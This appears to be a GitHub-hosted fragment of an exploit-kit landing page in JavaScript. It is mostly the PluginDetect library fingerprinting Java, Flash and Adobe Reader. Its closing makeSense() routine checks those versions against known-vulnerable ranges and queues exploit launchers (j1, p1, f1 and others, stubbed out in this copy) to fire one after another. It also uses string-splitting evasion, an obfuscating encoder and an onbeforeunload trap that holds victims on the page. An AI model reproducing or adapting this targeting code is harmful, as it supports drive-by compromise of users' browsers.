n, c, l, q, b, o, r, i = []; | |
if (e.compareNums(a.join(","), j.join(",")) > 0) { | |
j = a | |
} | |
j = e.formatNum(j.join(",")); | |
var m, s = "1,4,2,0", | |
g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (a[3] > 0 ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : ""); | |
for (h = 0; h < f.JavaVersions.length; h++) { | |
d = f.JavaVersions[h]; | |
n = "JavaPlugin." + d[0] + "" + d[1]; | |
b = d[0] + "." + d[1] + "."; | |
for (l = d[2]; l >= 0; l--) { | |
r = "JavaWebStart.isInstalled." + b + l + ".0"; | |
if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 && !e.getAXO(r)) { | |
continue | |
} | |
m = e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) < 0 ? true : false; | |
for (q = d[3]; q >= 0; q--) { | |
c = l + "_" + (q < 10 ? "0" + q : q); | |
o = n + c; | |
if (e.getAXO(o) && (m || e.getAXO(r))) { | |
i.push(b + c); | |
if (!p) { | |
return i | |
} | |
} | |
if (o == g) { | |
return i | |
} | |
} | |
if (e.getAXO(n + l) && (m || e.getAXO(r))) { | |
i.push(b + l); | |
if (!p) { | |
return i | |
} | |
} | |
if (n + l == g) { | |
return i | |
} | |
} | |
} | |
return i | |
} | |
}, | |
navMime: { | |
$: 1, | |
hasRun: 0, | |
mimetype: "", | |
version: "", | |
length: 0, | |
mimeObj: 0, | |
pluginObj: 0, | |
disabled: function () { | |
return this.$$.isDisabled.navMime() | |
}, | |
query: function () { | |
var i = this, | |
f = i.$, | |
a = i.$$, | |
b = (i.hasRun || i.disabled()); | |
i.hasRun = 1; | |
if (b) { | |
return i | |
}; | |
var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i, | |
g, l, j, d = "", | |
h = "a", | |
o, m, k = {}, c = f.formatNum("0"); | |
for (l = 0; l < navigator.mimeTypes.length; l++) { | |
o = navigator.mimeTypes[l]; | |
m = o ? o.enabledPlugin : 0; | |
g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0; | |
if (g && m && (m.description || m.name)) { | |
if (!k[h + g]) { | |
i.length++ | |
} | |
k[h + g] = o.type; | |
if (f.compareNums(g, c) > 0) { | |
c = g | |
} | |
} | |
} | |
g = k[h + c]; | |
if (g) { | |
o = f.hasMimeType(g); | |
i.mimeObj = o; | |
i.pluginObj = o ? o.enabledPlugin : 0; | |
i.mimetype = g; | |
i.version = c | |
}; | |
return i | |
} | |
}, | |
navPlugin: { | |
$: 1, | |
hasRun: 0, | |
version: "", | |
disabled: function () { | |
return this.$$.isDisabled.navPlugin() | |
}, | |
query: function () { | |
var m = this, | |
e = m.$, | |
c = m.$$, | |
h = c.navigator, | |
j, l, k, g, d, a, i, f = 0, | |
b = (m.hasRun || m.disabled()); | |
m.hasRun = 1; | |
if (b) { | |
return m | |
}; | |
a = h.pluginObj.name || ""; | |
i = h.pluginObj.description || ""; | |
if (!f || c.debug) { | |
g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i; | |
if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) { | |
f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0") | |
} | |
} | |
if (!f || c.debug) { | |
g = /Java[^\d]*Plug-in/i; | |
l = g.test(i) ? e.formatNum(e.getNum(i)) : 0; | |
k = g.test(a) ? e.formatNum(e.getNum(a)) : 0; | |
if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) { | |
l = 0 | |
} | |
if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) { | |
k = 0 | |
} | |
d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k); | |
if (d) { | |
f = d | |
} | |
} | |
if (!f && e.isSafari && e.OS == 2) { | |
j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0); | |
if (j) { | |
l = e.getNum(j.description); | |
if (l) { | |
f = l | |
} | |
} | |
}; | |
if (f) { | |
m.version = e.formatNum(f) | |
}; | |
return m | |
} | |
}, | |
lang: { | |
$: 1, | |
System: { | |
$: 1, | |
hasRun: 0, | |
result: [null, null], | |
disabled: function () { | |
return this.$$.isDisabled.windowDotJava() | |
}, | |
getPropertyHas: function (a) { | |
var b = this, | |
d = b.$, | |
c = b.getProperty()[0]; | |
return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0 | |
}, | |
getProperty: function () { | |
var f = this, | |
g = f.$, | |
d = f.$$, | |
i, h = {}, b = f.hasRun || f.disabled(); | |
f.hasRun = 1; | |
if (!b) { | |
var a = "java_qqq990"; | |
g[a] = null; | |
try { | |
var c = document.createElement("script"); | |
c.type = "text/javascript"; | |
c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a + "=a||0})();")); | |
g.head.insertBefore(c, g.head.firstChild); | |
g.head.removeChild(c) | |
} catch (i) {} | |
if (g[a] && g.isArray(g[a])) { | |
f.result = [].concat(g[a]) | |
} | |
} | |
return f.result | |
} | |
} | |
}, | |
applet: { | |
$: 1, | |
results: [ | |
[null, null], | |
[null, null], | |
[null, null] | |
], | |
getResult: function () { | |
var c = this.results, | |
a, b = []; | |
for (a = 0; a < c.length; a++) { | |
b = c[a]; | |
if (b[0]) { | |
break | |
} | |
} | |
return [].concat(b) | |
}, | |
HTML: [0, 0, 0], | |
active: [0, 0, 0], | |
DummyObjTagHTML: 0, | |
DummySpanTagHTML: 0, | |
allowed: [1, 1, 1], | |
VerifyTagsHas: function (c) { | |
var d = this, | |
b; | |
for (b = 0; b < d.allowed.length; b++) { | |
if (d.allowed[b] === c) { | |
return 1 | |
} | |
} | |
return 0 | |
}, | |
saveAsVerifyTagsArray: function (c) { | |
var b = this, | |
d = b.$, | |
a; | |
if (d.isArray(c)) { | |
for (a = 0; a < b.allowed.length; a++) { | |
if (d.isNum(c[a])) { | |
if (c[a] < 0) { | |
c[a] = 0 | |
} | |
if (c[a] > 3) { | |
c[a] = 3 | |
} | |
b.allowed[a] = c[a] | |
} | |
} | |
} | |
}, | |
setVerifyTagsArray: function (d) { | |
var b = this, | |
c = b.$, | |
a = b.$$; | |
if (a.getVersionDone === null) { | |
b.saveAsVerifyTagsArray(a.getVerifyTagsDefault()) | |
} | |
if (a.debug || (a.verify && a.verify.isEnabled())) { | |
b.saveAsVerifyTagsArray([3, 3, 3]) | |
} else { | |
if (d) { | |
b.saveAsVerifyTagsArray(d) | |
} | |
} | |
}, | |
allDisabled: function () { | |
return this.$$.isDisabled.allApplets() | |
}, | |
isDisabled: function (d) { | |
var b = this, | |
c = b.$, | |
a = b.$$; | |
if (d == 2 && !c.isIE) { | |
return 1 | |
} | |
if (d === 0 || d == 2) { | |
return a.isDisabled.ObjectTag() | |
} | |
if (d == 1) { | |
return a.isDisabled.AppletTag() | |
} | |
}, | |
can_Insert_Query: function (b) { | |
var a = this; | |
if (a.HTML[b]) { | |
return 0 | |
} | |
return !a.isDisabled(b) | |
}, | |
can_Insert_Query_Any: function () { | |
var b = this, | |
a; | |
for (a = 0; a < b.results.length; a++) { | |
if (b.can_Insert_Query(a)) { | |
return 1 | |
} | |
} | |
return 0 | |
}, | |
should_Insert_Query: function (d) { | |
var b = this, | |
e = b.allowed, | |
c = b.$, | |
a = b.$$; | |
if (!b.can_Insert_Query(d)) { | |
return 0 | |
} | |
if (e[d] == 3) { | |
return 1 | |
} | |
if (e[d] == 2.8 && !b.getResult()[0]) { | |
return 1 | |
} | |
if (e[d] == 2.5 && !a.lang.System.getProperty()[0]) { | |
return 1 | |
} | |
if (e[d] == 2.2 && !a.lang.System.getProperty()[0] && !b.getResult()[0]) { | |
return 1 | |
} | |
if (!a.nonAppletDetectionOk(a.version0)) { | |
if (e[d] == 2) { | |
return 1 | |
} | |
if (e[d] == 1 && !b.getResult()[0]) { | |
return 1 | |
} | |
} | |
return 0 | |
}, | |
should_Insert_Query_Any: function () { | |
var b = this, | |
a; | |
for (a = 0; a < b.allowed.length; a++) { | |
if (b.should_Insert_Query(a)) { | |
return 1 | |
} | |
} | |
return 0 | |
}, | |
query: function (f) { | |
var h, a = this, | |
g = a.$, | |
d = a.$$, | |
i = null, | |
j = null, | |
b = a.results, | |
c; | |
if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)) { | |
return | |
} | |
c = g.getDOMobj(a.HTML[f], true); | |
if (c) { | |
try { | |
i = g.getNum(c.getVersion() + " "); | |
j = c.getVendor() + " "; | |
c.statusbar(g.winLoaded ? " " : " ") | |
} catch (h) {} | |
if (i && g.isStrNum(i)) { | |
b[f] = [i, j] | |
} else {}; | |
try { | |
if (g.isIE && i && c.readyState != 4) { | |
g.garbage = true; | |
c.parentNode.removeChild(c) | |
} | |
} catch (h) {} | |
} | |
}, | |
insert_Query_Any: function () { | |
var d = this, | |
i = d.$, | |
e = d.$$, | |
l = d.results, | |
p = d.HTML, | |
a = " ", | |
g = "A.class", | |
m = i.file.getValid(e); | |
if (!m) { | |
return d.getResult() | |
} | |
if (e.OTF < 1) { | |
e.OTF = 1 | |
} | |
if (d.allDisabled()) { | |
return d.getResult() | |
} | |
if (e.OTF < 1.5) { | |
e.OTF = 1.5 | |
} | |
var j = m.name + m.ext, | |
h = m.path; | |
var f = ["archive", j, "code", g], | |
c = ["mayscript", "true"], | |
o = ["scriptable", "true"].concat(c), | |
n = e.navigator, | |
b = !i.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : e.mimeType[0]; | |
if (d.should_Insert_Query(0)) { | |
if (e.OTF < 2) { | |
e.OTF = 2 | |
}; | |
p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e); | |
l[0] = [0, 0]; | |
d.query(0) | |
} | |
if (d.should_Insert_Query(1)) { | |
if (e.OTF < 2) { | |
e.OTF = 2 | |
}; | |
p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), ["codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt", a].concat(c).concat(f), [].concat(c), a, e); | |
l[1] = [0, 0]; | |
d.query(1) | |
} | |
if (d.should_Insert_Query(2)) { | |
if (e.OTF < 2) { | |
e.OTF = 2 | |
}; | |
p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML(); | |
l[2] = [0, 0]; | |
d.query(2) | |
} | |
if (!d.DummyObjTagHTML && !e.isDisabled.ObjectTag()) { | |
d.DummyObjTagHTML = i.insertHTML("object", [], [], a) | |
} | |
if (!d.DummySpanTagHTML) { | |
d.DummySpanTagHTML = i.insertHTML("", [], [], a) | |
}; | |
var k = e.NOTF; | |
if (e.OTF < 3 && k.shouldContinueQuery()) { | |
e.OTF = 3; | |
k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k); | |
if (!i.winLoaded) { | |
i.WLfuncs0.push([k.winOnLoadQuery, k]) | |
} | |
setTimeout(k.onIntervalQuery, k.intervalLength) | |
}; | |
return d.getResult() | |
} | |
}, | |
NOTF: { | |
$: 1, | |
count: 0, | |
countMax: 25, | |
intervalLength: 250, | |
shouldContinueQuery: function () { | |
var e = this, | |
d = e.$, | |
c = e.$$, | |
b = c.applet, | |
a; | |
for (a = 0; a < b.results.length; a++) { | |
if (b.HTML[a] && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && e.isAppletActive(a) >= 0) { | |
return 1 | |
} | |
} | |
return 0 | |
}, | |
isJavaActive: function (d) { | |
var f = this, | |
c = f.$$, | |
a, b, e = -9; | |
for (a = 0; a < c.applet.HTML.length; a++) { | |
b = f.isAppletActive(a, d); | |
if (b > e) { | |
e = b | |
} | |
} | |
return e | |
}, | |
isAppletActive: function (c, a) { | |
var d = this, | |
b = d.$$.applet.active; | |
if (!a) { | |
b[c] = d.isAppletActive_(c) | |
} | |
return b[c] | |
}, | |
isAppletActive_: function (d) { | |
var g = this, | |
f = g.$, | |
b = g.$$, | |
l = b.navigator, | |
a = b.applet, | |
h = a.HTML[d], | |
i, k, c = 0, | |
j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.count); | |
if (j == -2) { | |
return -2 | |
} | |
try { | |
if (f.isIE && f.verIE >= b.minIEver && f.getDOMobj(h).object) { | |
return 1 | |
} | |
} catch (i) {} | |
for (k = 0; k < a.active.length; k++) { | |
if (a.active[k] > 0) { | |
c = 1 | |
} | |
} | |
if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.tagName == "object" || c)) || b.lang.System.getProperty()[0]))) { | |
return 1 | |
} | |
if (j < 0) { | |
return -1 | |
} | |
return 0 | |
}, | |
winOnLoadQuery: function (c, d) { | |
var b = d.$$, | |
a; | |
if (b.OTF == 3) { | |
a = d.queryAllApplets(); | |
d.queryCompleted(a[1], a[2]) | |
} | |
}, | |
$$onIntervalQuery: function (d) { | |
var c = d.$, | |
b = d.$$, | |
a; | |
if (b.OTF == 3) { | |
a = d.queryAllApplets(); | |
if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)) { | |
d.queryCompleted(a[1], a[2]) | |
} | |
} | |
d.count++; | |
if (b.OTF == 3) { | |
setTimeout(d.onIntervalQuery, d.intervalLength) | |
} | |
}, | |
queryAllApplets: function () { | |
var g = this, | |
f = g.$, | |
e = g.$$, | |
d = e.applet, | |
b, a, c; | |
for (b = 0; b < d.results.length; b++) { | |
d.query(b) | |
} | |
a = d.getResult(); | |
c = a[0] ? true : false; | |
return [c, a[0], a[1]] | |
}, | |
queryCompleted: function (c, f) { | |
var e = this, | |
d = e.$, | |
b = e.$$; | |
if (b.OTF >= 4) { | |
return | |
} | |
b.OTF = 4; | |
var a = e.isJavaActive(); | |
b.setPluginStatus(c, f, 0); | |
if (b.funcs) { | |
d.callArray(b.funcs) | |
} | |
if (d.onDoneEmptyDiv) { | |
d.onDoneEmptyDiv() | |
} | |
} | |
}, | |
zz: 0 | |
}, | |
flash: { | |
mimeType: "application/x-shockwave-flash", | |
progID: "ShockwaveFlash.ShockwaveFlash", | |
classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", | |
getVersion: function () { | |
var b = function (i) { | |
if (!i) { | |
return null | |
} | |
var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i); | |
return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null | |
}; | |
var j = this, | |
g = j.$, | |
k, h, l = null, | |
c = null, | |
a = null, | |
f, m, d; | |
if (!g.isIE) { | |
m = g.hasMimeType(j.mimeType); | |
if (m) { | |
f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j)); | |
try { | |
l = g.getNum(f.GetVariable("$version")) | |
} catch (k) {} | |
} | |
if (!l) { | |
d = m ? m.enabledPlugin : null; | |
if (d && d.description) { | |
l = b(d.description) | |
} | |
if (l) { | |
l = g.getPluginFileVersion(d, l) | |
} | |
} | |
} else { | |
for (h = 15; h > 2; h--) { | |
c = g.getAXO(j.progID + "." + h); | |
if (c) { | |
a = h.toString(); | |
break | |
} | |
} | |
if (!c) { | |
c = g.getAXO(j.progID) | |
} | |
if (a == "6") { | |
try { | |
c.AllowScriptAccess = "always" | |
} catch (k) { | |
return "6,0,21,0" | |
} | |
} | |
try { | |
l = b(c.GetVariable("$version")) | |
} catch (k) {} | |
if (!l && a) { | |
l = a | |
} | |
} | |
j.installed = l ? 1 : -1; | |
j.version = g.formatNum(l); | |
return true | |
} | |
}, | |
adobereader: { | |
mimeType: "application/pdf", | |
navPluginObj: null, | |
progID: ["AcroPDF.PDF", "PDF.PdfCtrl"], | |
classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000", | |
INSTALLED: {}, | |
pluginHasMimeType: function (d, c, f) { | |
var b = this, | |
e = b.$, | |
a; | |
for (a in d) { | |
if (d[a] && d[a].type && d[a].type == c) { | |
return 1 | |
} | |
} | |
if (e.getMimeEnabledPlugin(c, f)) { | |
return 1 | |
} | |
return 0 | |
}, | |
getVersion: function (l, j) { | |
var g = this, | |
d = g.$, | |
i, f, m, n, b = null, | |
h = null, | |
k = g.mimeType, | |
a, c; | |
if (d.isString(j)) { | |
j = j.replace(/\s/g, ""); | |
if (j) { | |
k = j | |
} | |
} else { | |
j = null | |
} | |
if (d.isDefined(g.INSTALLED[k])) { | |
g.installed = g.INSTALLED[k]; | |
return | |
} | |
if (!d.isIE) { | |
a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in"; | |
if (g.getVersionDone !== 0) { | |
g.getVersionDone = 0; | |
b = d.getMimeEnabledPlugin(g.mimeType, a); | |
if (!j) { | |
n = b | |
} | |
if (!b && d.hasMimeType(g.mimeType)) { | |
b = d.findNavPlugin(a, 0) | |
} | |
if (b) { | |
g.navPluginObj = b; | |
h = d.getNum(b.description) || d.getNum(b.name); | |
h = d.getPluginFileVersion(b, h); | |
if (!h && d.OS == 1) { | |
if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) { | |
h = "9" | |
} else { | |
if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) { | |
h = "8" | |
} | |
} | |
} | |
} | |
} else { | |
h = g.version | |
} | |
if (!d.isDefined(n)) { | |
n = d.getMimeEnabledPlugin(k, a) | |
} | |
g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1)) | |
} else { | |
b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]); | |
c = /=\s*([\d\.]+)/g; | |
try { | |
f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions(); | |
for (m = 0; m < 5; m++) { | |
if (c.test(f) && (!h || RegExp.$1 > h)) { | |
h = RegExp.$1 | |
} | |
} | |
} catch (i) {} | |
g.installed = h ? 1 : (b ? 0 : -1) | |
} | |
if (!g.version) { | |
g.version = d.formatNum(h) | |
} | |
g.INSTALLED[k] = g.installed | |
} | |
}, | |
zz: 0 | |
} | |
}; | |
PluginDetect.initScript(); | |
PluginDetect.getVersion("."); | |
var $$ = PluginDetect; | |
function x(s) { | |
d = []; | |
for (i = 0; i < s.length; i++) { | |
k = (s.charCodeAt(i)).toString(33); | |
d.push(k); | |
}; | |
return d.join(":"); | |
} | |
end_redirect = function () {}; | |
window.onbeforeunload = function () { | |
return ""; | |
}; | |
function j1() { | |
return false; | |
} | |
function j2() { | |
return false; | |
} | |
function p1() { | |
return false; | |
} | |
function p2() { | |
return false; | |
} | |
function f1() { | |
return false; | |
} | |
function f2() { | |
return false; | |
} | |
document.write(''); | |
setTimeout(end_redirect, 60000); | |
var pdfver = []; | |
function makeSense($) { | |
var ar = []; | |
var javax = ($.getVersion("Ja" + "va") + ".").toString().split("."); | |
if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9))) { | |
ar.push(j2); | |
} else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3] < 33) || (javax[0] == 1 && javax[1] < 6))) { | |
ar.push(j1); | |
} | |
pdfver = PluginDetect.getVersion("AdobeReader"); | |
if (typeof pdfver == "string") { | |
pdfver = pdfver.split(".") | |
} else { | |
pdfver = [0, 0, 0, 0] | |
} | |
if (pdfver[0] > 0 && pdfver[0] < 8) { | |
ar.push(p1); | |
} | |
if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))) { | |
ar.push(p2); | |
} | |
var ver = ($$.getVersion("Flash") + ".").toString().split("."); | |
if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || ((ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == (11 - 1) && ver[1] < 2))) { | |
ar.push(f2); | |
} | |
if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) { | |
ar.push(f1); | |
} | |
var arcalli = 0; | |
var arcall = function () { | |
if (arcalli >= ar.length) return; | |
var res = ar[arcalli](); | |
arcalli++; | |
if (res) { | |
setTimeout(function () { | |
arcall() | |
}, 5509); | |
} else { | |
arcall(); | |
} | |
}; | |
arcall(); | |
} | |
$$.onDetectionDone("Ja" + "va", makeSense, "../data/getJavaInfo.jar"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment